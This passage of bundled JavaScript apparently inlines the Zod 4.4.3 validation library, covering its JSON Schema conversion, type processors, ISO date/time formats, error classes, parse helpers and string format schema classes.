fn(payload.value, payload);\n }, params);\n return ch;\n}\n// @__NO_SIDE_EFFECTS__\nfunction _check(fn, params) {\n const ch = new $ZodCheck({\n check: \"custom\",\n ...normalizeParams(params)\n });\n ch._zod.check = fn;\n return ch;\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/to-json-schema.js\nfunction initializeContext(params) {\n let target = params?.target ?? \"draft-2020-12\";\n if (target === \"draft-4\") target = \"draft-04\";\n if (target === \"draft-7\") target = \"draft-07\";\n return {\n processors: params.processors ?? {},\n metadataRegistry: params?.metadata ?? globalRegistry,\n target,\n unrepresentable: params?.unrepresentable ?? \"throw\",\n override: params?.override ?? (() => {}),\n io: params?.io ?? \"output\",\n counter: 0,\n seen: /* @__PURE__ */ new Map(),\n cycles: params?.cycles ?? \"ref\",\n reused: params?.reused ?? \"inline\",\n external: params?.external ?? void 0\n };\n}\nfunction process$1(schema, ctx, _params = {\n path: [],\n schemaPath: []\n}) {\n var _a;\n const def = schema._zod.def;\n const seen = ctx.seen.get(schema);\n if (seen) {\n seen.count++;\n if (_params.schemaPath.includes(schema)) seen.cycle = _params.path;\n return seen.schema;\n }\n const result = {\n schema: {},\n count: 1,\n cycle: void 0,\n path: _params.path\n };\n ctx.seen.set(schema, result);\n const overrideSchema = schema._zod.toJSONSchema?.();\n if (overrideSchema) result.schema = overrideSchema;\n else {\n const params = {\n ..._params,\n schemaPath: [..._params.schemaPath, schema],\n path: _params.path\n };\n if (schema._zod.processJSONSchema) schema._zod.processJSONSchema(ctx, result.schema, params);\n else {\n const _json = result.schema;\n const processor = ctx.processors[def.type];\n if (!processor) throw new Error(`[toJSONSchema]: Non-representable type encountered: ${def.type}`);\n processor(schema, ctx, _json, params);\n }\n const parent = schema._zod.parent;\n if (parent) {\n if (!result.ref) result.ref = parent;\n process$1(parent, ctx, params);\n ctx.seen.get(parent).isParent = true;\n }\n }\n const meta = ctx.metadataRegistry.get(schema);\n if (meta) Object.assign(result.schema, meta);\n if (ctx.io === \"input\" && isTransforming(schema)) {\n delete result.schema.examples;\n delete result.schema.default;\n }\n if (ctx.io === \"input\" && \"_prefault\" in result.schema) (_a = result.schema).default ?? (_a.default = result.schema._prefault);\n delete result.schema._prefault;\n return ctx.seen.get(schema).schema;\n}\nfunction extractDefs(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const idToSchema = /* @__PURE__ */ new Map();\n for (const entry of ctx.seen.entries()) {\n const id = ctx.metadataRegistry.get(entry[0])?.id;\n if (id) {\n const existing = idToSchema.get(id);\n if (existing && existing !== entry[0]) throw new Error(`Duplicate schema id \"${id}\" detected during JSON Schema conversion. Two different schemas cannot share the same id when converted together.`);\n idToSchema.set(id, entry[0]);\n }\n }\n const makeURI = (entry) => {\n const defsSegment = ctx.target === \"draft-2020-12\" ? \"$defs\" : \"definitions\";\n if (ctx.external) {\n const externalId = ctx.external.registry.get(entry[0])?.id;\n const uriGenerator = ctx.external.uri ?? ((id) => id);\n if (externalId) return { ref: uriGenerator(externalId) };\n const id = entry[1].defId ?? entry[1].schema.id ?? `schema${ctx.counter++}`;\n entry[1].defId = id;\n return {\n defId: id,\n ref: `${uriGenerator(\"__shared\")}#/${defsSegment}/${id}`\n };\n }\n if (entry[1] === root) return { ref: \"#\" };\n const defUriPrefix = `#/${defsSegment}/`;\n const defId = entry[1].schema.id ?? `__schema${ctx.counter++}`;\n return {\n defId,\n ref: defUriPrefix + defId\n };\n };\n const extractToDef = (entry) => {\n if (entry[1].schema.$ref) return;\n const seen = entry[1];\n const { ref, defId } = makeURI(entry);\n seen.def = { ...seen.schema };\n if (defId) seen.defId = defId;\n const schema = seen.schema;\n for (const key in schema) delete schema[key];\n schema.$ref = ref;\n };\n if (ctx.cycles === \"throw\") for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.cycle) throw new Error(`Cycle detected: #/${seen.cycle?.join(\"/\")}/<root>\n\nSet the \\`cycles\\` parameter to \\`\"ref\"\\` to resolve cyclical schemas with defs.`);\n }\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (schema === entry[0]) {\n extractToDef(entry);\n continue;\n }\n if (ctx.external) {\n const ext = ctx.external.registry.get(entry[0])?.id;\n if (schema !== entry[0] && ext) {\n extractToDef(entry);\n continue;\n }\n }\n if (ctx.metadataRegistry.get(entry[0])?.id) {\n extractToDef(entry);\n continue;\n }\n if (seen.cycle) {\n extractToDef(entry);\n continue;\n }\n if (seen.count > 1) {\n if (ctx.reused === \"ref\") {\n extractToDef(entry);\n continue;\n }\n }\n }\n}\nfunction finalize(ctx, schema) {\n const root = ctx.seen.get(schema);\n if (!root) throw new Error(\"Unprocessed schema. This is a bug in Zod.\");\n const flattenRef = (zodSchema) => {\n const seen = ctx.seen.get(zodSchema);\n if (seen.ref === null) return;\n const schema = seen.def ?? seen.schema;\n const _cached = { ...schema };\n const ref = seen.ref;\n seen.ref = null;\n if (ref) {\n flattenRef(ref);\n const refSeen = ctx.seen.get(ref);\n const refSchema = refSeen.schema;\n if (refSchema.$ref && (ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\")) {\n schema.allOf = schema.allOf ?? [];\n schema.allOf.push(refSchema);\n } else Object.assign(schema, refSchema);\n Object.assign(schema, _cached);\n if (zodSchema._zod.parent === ref) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (!(key in _cached)) delete schema[key];\n }\n if (refSchema.$ref && refSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in refSeen.def && JSON.stringify(schema[key]) === JSON.stringify(refSeen.def[key])) delete schema[key];\n }\n }\n const parent = zodSchema._zod.parent;\n if (parent && parent !== ref) {\n flattenRef(parent);\n const parentSeen = ctx.seen.get(parent);\n if (parentSeen?.schema.$ref) {\n schema.$ref = parentSeen.schema.$ref;\n if (parentSeen.def) for (const key in schema) {\n if (key === \"$ref\" || key === \"allOf\") continue;\n if (key in parentSeen.def && JSON.stringify(schema[key]) === JSON.stringify(parentSeen.def[key])) delete schema[key];\n }\n }\n }\n ctx.override({\n zodSchema,\n jsonSchema: schema,\n path: seen.path ?? []\n });\n };\n for (const entry of [...ctx.seen.entries()].reverse()) flattenRef(entry[0]);\n const result = {};\n if (ctx.target === \"draft-2020-12\") result.$schema = \"https://json-schema.org/draft/2020-12/schema\";\n else if (ctx.target === \"draft-07\") result.$schema = \"http://json-schema.org/draft-07/schema#\";\n else if (ctx.target === \"draft-04\") result.$schema = \"http://json-schema.org/draft-04/schema#\";\n else if (ctx.target === \"openapi-3.0\") {}\n if (ctx.external?.uri) {\n const id = ctx.external.registry.get(schema)?.id;\n if (!id) throw new Error(\"Schema is missing an `id` property\");\n result.$id = ctx.external.uri(id);\n }\n Object.assign(result, root.def ?? root.schema);\n const rootMetaId = ctx.metadataRegistry.get(schema)?.id;\n if (rootMetaId !== void 0 && result.id === rootMetaId) delete result.id;\n const defs = ctx.external?.defs ?? {};\n for (const entry of ctx.seen.entries()) {\n const seen = entry[1];\n if (seen.def && seen.defId) {\n if (seen.def.id === seen.defId) delete seen.def.id;\n defs[seen.defId] = seen.def;\n }\n }\n if (ctx.external) {} else if (Object.keys(defs).length > 0) if (ctx.target === \"draft-2020-12\") result.$defs = defs;\n else result.definitions = defs;\n try {\n const finalized = JSON.parse(JSON.stringify(result));\n Object.defineProperty(finalized, \"~standard\", {\n value: {\n ...schema[\"~standard\"],\n jsonSchema: {\n input: createStandardJSONSchemaMethod(schema, \"input\", ctx.processors),\n output: createStandardJSONSchemaMethod(schema, \"output\", ctx.processors)\n }\n },\n enumerable: false,\n writable: false\n });\n return finalized;\n } catch (_err) {\n throw new Error(\"Error converting schema to JSON.\");\n }\n}\nfunction isTransforming(_schema, _ctx) {\n const ctx = _ctx ?? { seen: /* @__PURE__ */ new Set() };\n if (ctx.seen.has(_schema)) return false;\n ctx.seen.add(_schema);\n const def = _schema._zod.def;\n if (def.type === \"transform\") return true;\n if (def.type === \"array\") return isTransforming(def.element, ctx);\n if (def.type === \"set\") return isTransforming(def.valueType, ctx);\n if (def.type === \"lazy\") return isTransforming(def.getter(), ctx);\n if (def.type === \"promise\" || def.type === \"optional\" || def.type === \"nonoptional\" || def.type === \"nullable\" || def.type === \"readonly\" || def.type === \"default\" || def.type === \"prefault\") return isTransforming(def.innerType, ctx);\n if (def.type === \"intersection\") return isTransforming(def.left, ctx) || isTransforming(def.right, ctx);\n if (def.type === \"record\" || def.type === \"map\") return isTransforming(def.keyType, ctx) || isTransforming(def.valueType, ctx);\n if (def.type === \"pipe\") {\n if (_schema._zod.traits.has(\"$ZodCodec\")) return true;\n return isTransforming(def.in, ctx) || isTransforming(def.out, ctx);\n }\n if (def.type === \"object\") {\n for (const key in def.shape) if (isTransforming(def.shape[key], ctx)) return true;\n return false;\n }\n if (def.type === \"union\") {\n for (const option of def.options) if (isTransforming(option, ctx)) return true;\n return false;\n }\n if (def.type === \"tuple\") {\n for (const item of def.items) if (isTransforming(item, ctx)) return true;\n if (def.rest && isTransforming(def.rest, ctx)) return true;\n return false;\n }\n return false;\n}\n/**\n* Creates a toJSONSchema method for a schema instance.\n* This encapsulates the logic of initializing context, processing, extracting defs, and finalizing.\n*/\nconst createToJSONSchemaMethod = (schema, processors = {}) => (params) => {\n const ctx = initializeContext({\n ...params,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\nconst createStandardJSONSchemaMethod = (schema, io, processors = {}) => (params) => {\n const { libraryOptions, target } = params ?? {};\n const ctx = initializeContext({\n ...libraryOptions ?? {},\n target,\n io,\n processors\n });\n process$1(schema, ctx);\n extractDefs(ctx, schema);\n return finalize(ctx, schema);\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/core/json-schema-processors.js\nconst formatMap = {\n guid: \"uuid\",\n url: \"uri\",\n datetime: \"date-time\",\n json_string: \"json-string\",\n regex: \"\"\n};\nconst stringProcessor = (schema, ctx, _json, _params) => {\n const json = _json;\n json.type = \"string\";\n const { minimum, maximum, format, patterns, contentEncoding } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minLength = minimum;\n if (typeof maximum === \"number\") json.maxLength = maximum;\n if (format) {\n json.format = formatMap[format] ?? format;\n if (json.format === \"\") delete json.format;\n if (format === \"time\") delete json.format;\n }\n if (contentEncoding) json.contentEncoding = contentEncoding;\n if (patterns && patterns.size > 0) {\n const regexes = [...patterns];\n if (regexes.length === 1) json.pattern = regexes[0].source;\n else if (regexes.length > 1) json.allOf = [...regexes.map((regex) => ({\n ...ctx.target === \"draft-07\" || ctx.target === \"draft-04\" || ctx.target === \"openapi-3.0\" ? { type: \"string\" } : {},\n pattern: regex.source\n }))];\n }\n};\nconst neverProcessor = (_schema, _ctx, json, _params) => {\n json.not = {};\n};\nconst unknownProcessor = (_schema, _ctx, _json, _params) => {};\nconst enumProcessor = (schema, _ctx, json, _params) => {\n const def = schema._zod.def;\n const values = getEnumValues(def.entries);\n if (values.every((v) => typeof v === \"number\")) json.type = \"number\";\n if (values.every((v) => typeof v === \"string\")) json.type = \"string\";\n json.enum = values;\n};\nconst customProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Custom types cannot be represented in JSON Schema\");\n};\nconst transformProcessor = (_schema, ctx, _json, _params) => {\n if (ctx.unrepresentable === \"throw\") throw new Error(\"Transforms cannot be represented in JSON Schema\");\n};\nconst arrayProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n const { minimum, maximum } = schema._zod.bag;\n if (typeof minimum === \"number\") json.minItems = minimum;\n if (typeof maximum === \"number\") json.maxItems = maximum;\n json.type = \"array\";\n json.items = process$1(def.element, ctx, {\n ...params,\n path: [...params.path, \"items\"]\n });\n};\nconst objectProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n json.properties = {};\n const shape = def.shape;\n for (const key in shape) json.properties[key] = process$1(shape[key], ctx, {\n ...params,\n path: [\n ...params.path,\n \"properties\",\n key\n ]\n });\n const allKeys = new Set(Object.keys(shape));\n const requiredKeys = new Set([...allKeys].filter((key) => {\n const v = def.shape[key]._zod;\n if (ctx.io === \"input\") return v.optin === void 0;\n else return v.optout === void 0;\n }));\n if (requiredKeys.size > 0) json.required = Array.from(requiredKeys);\n if (def.catchall?._zod.def.type === \"never\") json.additionalProperties = false;\n else if (!def.catchall) {\n if (ctx.io === \"output\") json.additionalProperties = false;\n } else if (def.catchall) json.additionalProperties = process$1(def.catchall, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n};\nconst unionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const isExclusive = def.inclusive === false;\n const options = def.options.map((x, i) => process$1(x, ctx, {\n ...params,\n path: [\n ...params.path,\n isExclusive ? \"oneOf\" : \"anyOf\",\n i\n ]\n }));\n if (isExclusive) json.oneOf = options;\n else json.anyOf = options;\n};\nconst intersectionProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const a = process$1(def.left, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 0\n ]\n });\n const b = process$1(def.right, ctx, {\n ...params,\n path: [\n ...params.path,\n \"allOf\",\n 1\n ]\n });\n const isSimpleIntersection = (val) => \"allOf\" in val && Object.keys(val).length === 1;\n json.allOf = [...isSimpleIntersection(a) ? a.allOf : [a], ...isSimpleIntersection(b) ? b.allOf : [b]];\n};\nconst recordProcessor = (schema, ctx, _json, params) => {\n const json = _json;\n const def = schema._zod.def;\n json.type = \"object\";\n const keyType = def.keyType;\n const patterns = keyType._zod.bag?.patterns;\n if (def.mode === \"loose\" && patterns && patterns.size > 0) {\n const valueSchema = process$1(def.valueType, ctx, {\n ...params,\n path: [\n ...params.path,\n \"patternProperties\",\n \"*\"\n ]\n });\n json.patternProperties = {};\n for (const pattern of patterns) json.patternProperties[pattern.source] = valueSchema;\n } else {\n if (ctx.target === \"draft-07\" || ctx.target === \"draft-2020-12\") json.propertyNames = process$1(def.keyType, ctx, {\n ...params,\n path: [...params.path, \"propertyNames\"]\n });\n json.additionalProperties = process$1(def.valueType, ctx, {\n ...params,\n path: [...params.path, \"additionalProperties\"]\n });\n }\n const keyValues = keyType._zod.values;\n if (keyValues) {\n const validKeyValues = [...keyValues].filter((v) => typeof v === \"string\" || typeof v === \"number\");\n if (validKeyValues.length > 0) json.required = validKeyValues;\n }\n};\nconst nullableProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n const inner = process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n if (ctx.target === \"openapi-3.0\") {\n seen.ref = def.innerType;\n json.nullable = true;\n } else json.anyOf = [inner, { type: \"null\" }];\n};\nconst nonoptionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\nconst defaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.default = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst prefaultProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n if (ctx.io === \"input\") json._prefault = JSON.parse(JSON.stringify(def.defaultValue));\n};\nconst catchProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n let catchValue;\n try {\n catchValue = def.catchValue(void 0);\n } catch {\n throw new Error(\"Dynamic catch values are not supported in JSON Schema\");\n }\n json.default = catchValue;\n};\nconst pipeProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n const inIsTransform = def.in._zod.traits.has(\"$ZodTransform\");\n const innerType = ctx.io === \"input\" ? inIsTransform ? def.out : def.in : def.out;\n process$1(innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = innerType;\n};\nconst readonlyProcessor = (schema, ctx, json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n json.readOnly = true;\n};\nconst optionalProcessor = (schema, ctx, _json, params) => {\n const def = schema._zod.def;\n process$1(def.innerType, ctx, params);\n const seen = ctx.seen.get(schema);\n seen.ref = def.innerType;\n};\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/iso.js\nconst ZodISODateTime = /*@__PURE__*/ $constructor(\"ZodISODateTime\", (inst, def) => {\n $ZodISODateTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction datetime(params) {\n return _isoDateTime(ZodISODateTime, params);\n}\nconst ZodISODate = /*@__PURE__*/ $constructor(\"ZodISODate\", (inst, def) => {\n $ZodISODate.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction date(params) {\n return _isoDate(ZodISODate, params);\n}\nconst ZodISOTime = /*@__PURE__*/ $constructor(\"ZodISOTime\", (inst, def) => {\n $ZodISOTime.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction time(params) {\n return _isoTime(ZodISOTime, params);\n}\nconst ZodISODuration = /*@__PURE__*/ $constructor(\"ZodISODuration\", (inst, def) => {\n $ZodISODuration.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nfunction duration(params) {\n return _isoDuration(ZodISODuration, params);\n}\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/errors.js\nconst initializer = (inst, issues) => {\n $ZodError.init(inst, issues);\n inst.name = \"ZodError\";\n Object.defineProperties(inst, {\n format: { value: (mapper) => formatError(inst, mapper) },\n flatten: { value: (mapper) => flattenError(inst, mapper) },\n addIssue: { value: (issue) => {\n inst.issues.push(issue);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n addIssues: { value: (issues) => {\n inst.issues.push(...issues);\n inst.message = JSON.stringify(inst.issues, jsonStringifyReplacer, 2);\n } },\n isEmpty: { get() {\n return inst.issues.length === 0;\n } }\n });\n};\nconst ZodRealError = /*@__PURE__*/ $constructor(\"ZodError\", initializer, { Parent: Error });\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/parse.js\nconst parse = /* @__PURE__ */ _parse(ZodRealError);\nconst parseAsync = /* @__PURE__ */ _parseAsync(ZodRealError);\nconst safeParse = /* @__PURE__ */ _safeParse(ZodRealError);\nconst safeParseAsync = /* @__PURE__ */ _safeParseAsync(ZodRealError);\nconst encode = /* @__PURE__ */ _encode(ZodRealError);\nconst decode = /* @__PURE__ */ _decode(ZodRealError);\nconst encodeAsync = /* @__PURE__ */ _encodeAsync(ZodRealError);\nconst decodeAsync = /* @__PURE__ */ _decodeAsync(ZodRealError);\nconst safeEncode = /* @__PURE__ */ _safeEncode(ZodRealError);\nconst safeDecode = /* @__PURE__ */ _safeDecode(ZodRealError);\nconst safeEncodeAsync = /* @__PURE__ */ _safeEncodeAsync(ZodRealError);\nconst safeDecodeAsync = /* @__PURE__ */ _safeDecodeAsync(ZodRealError);\n\n//#endregion\n//#region ../../node_modules/.pnpm/zod@4.4.3/node_modules/zod/v4/classic/schemas.js\nconst _installedGroups = /* @__PURE__ */ new WeakMap();\nfunction _installLazyMethods(inst, group, methods) {\n const proto = Object.getPrototypeOf(inst);\n let installed = _installedGroups.get(proto);\n if (!installed) {\n installed = /* @__PURE__ */ new Set();\n _installedGroups.set(proto, installed);\n }\n if (installed.has(group)) return;\n installed.add(group);\n for (const key in methods) {\n const fn = methods[key];\n Object.defineProperty(proto, key, {\n configurable: true,\n enumerable: false,\n get() {\n const bound = fn.bind(this);\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: bound\n });\n return bound;\n },\n set(v) {\n Object.defineProperty(this, key, {\n configurable: true,\n writable: true,\n enumerable: true,\n value: v\n });\n }\n });\n }\n}\nconst ZodType = /*@__PURE__*/ $constructor(\"ZodType\", (inst, def) => {\n $ZodType.init(inst, def);\n Object.assign(inst[\"~standard\"], { jsonSchema: {\n input: createStandardJSONSchemaMethod(inst, \"input\"),\n output: createStandardJSONSchemaMethod(inst, \"output\")\n } });\n inst.toJSONSchema = createToJSONSchemaMethod(inst, {});\n inst.def = def;\n inst.type = def.type;\n Object.defineProperty(inst, \"_def\", { value: def });\n inst.parse = (data, params) => parse(inst, data, params, { callee: inst.parse });\n inst.safeParse = (data, params) => safeParse(inst, data, params);\n inst.parseAsync = async (data, params) => parseAsync(inst, data, params, { callee: inst.parseAsync });\n inst.safeParseAsync = async (data, params) => safeParseAsync(inst, data, params);\n inst.spa = inst.safeParseAsync;\n inst.encode = (data, params) => encode(inst, data, params);\n inst.decode = (data, params) => decode(inst, data, params);\n inst.encodeAsync = async (data, params) => encodeAsync(inst, data, params);\n inst.decodeAsync = async (data, params) => decodeAsync(inst, data, params);\n inst.safeEncode = (data, params) => safeEncode(inst, data, params);\n inst.safeDecode = (data, params) => safeDecode(inst, data, params);\n inst.safeEncodeAsync = async (data, params) => safeEncodeAsync(inst, data, params);\n inst.safeDecodeAsync = async (data, params) => safeDecodeAsync(inst, data, params);\n _installLazyMethods(inst, \"ZodType\", {\n check(...chks) {\n const def = this.def;\n return this.clone(mergeDefs(def, { checks: [...def.checks ?? [], ...chks.map((ch) => typeof ch === \"function\" ? { _zod: {\n check: ch,\n def: { check: \"custom\" },\n onattach: []\n } } : ch)] }), { parent: true });\n },\n with(...chks) {\n return this.check(...chks);\n },\n clone(def, params) {\n return clone(this, def, params);\n },\n brand() {\n return this;\n },\n register(reg, meta) {\n reg.add(this, meta);\n return this;\n },\n refine(check, params) {\n return this.check(refine(check, params));\n },\n superRefine(refinement, params) {\n return this.check(superRefine(refinement, params));\n },\n overwrite(fn) {\n return this.check(_overwrite(fn));\n },\n optional() {\n return optional(this);\n },\n exactOptional() {\n return exactOptional(this);\n },\n nullable() {\n return nullable(this);\n },\n nullish() {\n return optional(nullable(this));\n },\n nonoptional(params) {\n return nonoptional(this, params);\n },\n array() {\n return array(this);\n },\n or(arg) {\n return union([this, arg]);\n },\n and(arg) {\n return intersection(this, arg);\n },\n transform(tx) {\n return pipe(this, transform(tx));\n },\n default(d) {\n return _default(this, d);\n },\n prefault(d) {\n return prefault(this, d);\n },\n catch(params) {\n return _catch(this, params);\n },\n pipe(target) {\n return pipe(this, target);\n },\n readonly() {\n return readonly(this);\n },\n describe(description) {\n const cl = this.clone();\n globalRegistry.add(cl, { description });\n return cl;\n },\n meta(...args) {\n if (args.length === 0) return globalRegistry.get(this);\n const cl = this.clone();\n globalRegistry.add(cl, args[0]);\n return cl;\n },\n isOptional() {\n return this.safeParse(void 0).success;\n },\n isNullable() {\n return this.safeParse(null).success;\n },\n apply(fn) {\n return fn(this);\n }\n });\n Object.defineProperty(inst, \"description\", {\n get() {\n return globalRegistry.get(inst)?.description;\n },\n configurable: true\n });\n return inst;\n});\n/** @internal */\nconst _ZodString = /*@__PURE__*/ $constructor(\"_ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n ZodType.init(inst, def);\n inst._zod.processJSONSchema = (ctx, json, params) => stringProcessor(inst, ctx, json, params);\n const bag = inst._zod.bag;\n inst.format = bag.format ?? null;\n inst.minLength = bag.minimum ?? null;\n inst.maxLength = bag.maximum ?? null;\n _installLazyMethods(inst, \"_ZodString\", {\n regex(...args) {\n return this.check(_regex(...args));\n },\n includes(...args) {\n return this.check(_includes(...args));\n },\n startsWith(...args) {\n return this.check(_startsWith(...args));\n },\n endsWith(...args) {\n return this.check(_endsWith(...args));\n },\n min(...args) {\n return this.check(_minLength(...args));\n },\n max(...args) {\n return this.check(_maxLength(...args));\n },\n length(...args) {\n return this.check(_length(...args));\n },\n nonempty(...args) {\n return this.check(_minLength(1, ...args));\n },\n lowercase(params) {\n return this.check(_lowercase(params));\n },\n uppercase(params) {\n return this.check(_uppercase(params));\n },\n trim() {\n return this.check(_trim());\n },\n normalize(...args) {\n return this.check(_normalize(...args));\n },\n toLowerCase() {\n return this.check(_toLowerCase());\n },\n toUpperCase() {\n return this.check(_toUpperCase());\n },\n slugify() {\n return this.check(_slugify());\n }\n });\n});\nconst ZodString = /*@__PURE__*/ $constructor(\"ZodString\", (inst, def) => {\n $ZodString.init(inst, def);\n _ZodString.init(inst, def);\n inst.email = (params) => inst.check(_email(ZodEmail, params));\n inst.url = (params) => inst.check(_url(ZodURL, params));\n inst.jwt = (params) => inst.check(_jwt(ZodJWT, params));\n inst.emoji = (params) => inst.check(_emoji(ZodEmoji, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.uuid = (params) => inst.check(_uuid(ZodUUID, params));\n inst.uuidv4 = (params) => inst.check(_uuidv4(ZodUUID, params));\n inst.uuidv6 = (params) => inst.check(_uuidv6(ZodUUID, params));\n inst.uuidv7 = (params) => inst.check(_uuidv7(ZodUUID, params));\n inst.nanoid = (params) => inst.check(_nanoid(ZodNanoID, params));\n inst.guid = (params) => inst.check(_guid(ZodGUID, params));\n inst.cuid = (params) => inst.check(_cuid(ZodCUID, params));\n inst.cuid2 = (params) => inst.check(_cuid2(ZodCUID2, params));\n inst.ulid = (params) => inst.check(_ulid(ZodULID, params));\n inst.base64 = (params) => inst.check(_base64(ZodBase64, params));\n inst.base64url = (params) => inst.check(_base64url(ZodBase64URL, params));\n inst.xid = (params) => inst.check(_xid(ZodXID, params));\n inst.ksuid = (params) => inst.check(_ksuid(ZodKSUID, params));\n inst.ipv4 = (params) => inst.check(_ipv4(ZodIPv4, params));\n inst.ipv6 = (params) => inst.check(_ipv6(ZodIPv6, params));\n inst.cidrv4 = (params) => inst.check(_cidrv4(ZodCIDRv4, params));\n inst.cidrv6 = (params) => inst.check(_cidrv6(ZodCIDRv6, params));\n inst.e164 = (params) => inst.check(_e164(ZodE164, params));\n inst.datetime = (params) => inst.check(datetime(params));\n inst.date = (params) => inst.check(date(params));\n inst.time = (params) => inst.check(time(params));\n inst.duration = (params) => inst.check(duration(params));\n});\nfunction string(params) {\n return _string(ZodString, params);\n}\nconst ZodStringFormat = /*@__PURE__*/ $constructor(\"ZodStringFormat\", (inst, def) => {\n $ZodStringFormat.init(inst, def);\n _ZodString.init(inst, def);\n});\nconst ZodEmail = /*@__PURE__*/ $constructor(\"ZodEmail\", (inst, def) => {\n $ZodEmail.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodGUID = /*@__PURE__*/ $constructor(\"ZodGUID\", (inst, def) => {\n $ZodGUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodUUID = /*@__PURE__*/ $constructor(\"ZodUUID\", (inst, def) => {\n $ZodUUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodURL = /*@__PURE__*/ $constructor(\"ZodURL\", (inst, def) => {\n $ZodURL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodEmoji = /*@__PURE__*/ $constructor(\"ZodEmoji\", (inst, def) => {\n $ZodEmoji.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodNanoID = /*@__PURE__*/ $constructor(\"ZodNanoID\", (inst, def) => {\n $ZodNanoID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\n/**\n* @deprecated CUID v1 is deprecated by its authors due to information leakage\n* (timestamps embedded in the id). Use {@link ZodCUID2} instead.\n* See https://github.com/paralleldrive/cuid.\n*/\nconst ZodCUID = /*@__PURE__*/ $constructor(\"ZodCUID\", (inst, def) => {\n $ZodCUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCUID2 = /*@__PURE__*/ $constructor(\"ZodCUID2\", (inst, def) => {\n $ZodCUID2.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodULID = /*@__PURE__*/ $constructor(\"ZodULID\", (inst, def) => {\n $ZodULID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodXID = /*@__PURE__*/ $constructor(\"ZodXID\", (inst, def) => {\n $ZodXID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodKSUID = /*@__PURE__*/ $constructor(\"ZodKSUID\", (inst, def) => {\n $ZodKSUID.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv4 = /*@__PURE__*/ $constructor(\"ZodIPv4\", (inst, def) => {\n $ZodIPv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodIPv6 = /*@__PURE__*/ $constructor(\"ZodIPv6\", (inst, def) => {\n $ZodIPv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv4 = /*@__PURE__*/ $constructor(\"ZodCIDRv4\", (inst, def) => {\n $ZodCIDRv4.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodCIDRv6 = /*@__PURE__*/ $constructor(\"ZodCIDRv6\", (inst, def) => {\n $ZodCIDRv6.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64 = /*@__PURE__*/ $constructor(\"ZodBase64\", (inst, def) => {\n $ZodBase64.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodBase64URL = /*@__PURE__*/ $constructor(\"ZodBase64URL\", (inst, def) => {\n $ZodBase64URL.init(inst, def);\n ZodStringFormat.init(inst, def);\n});\nconst ZodE164 = 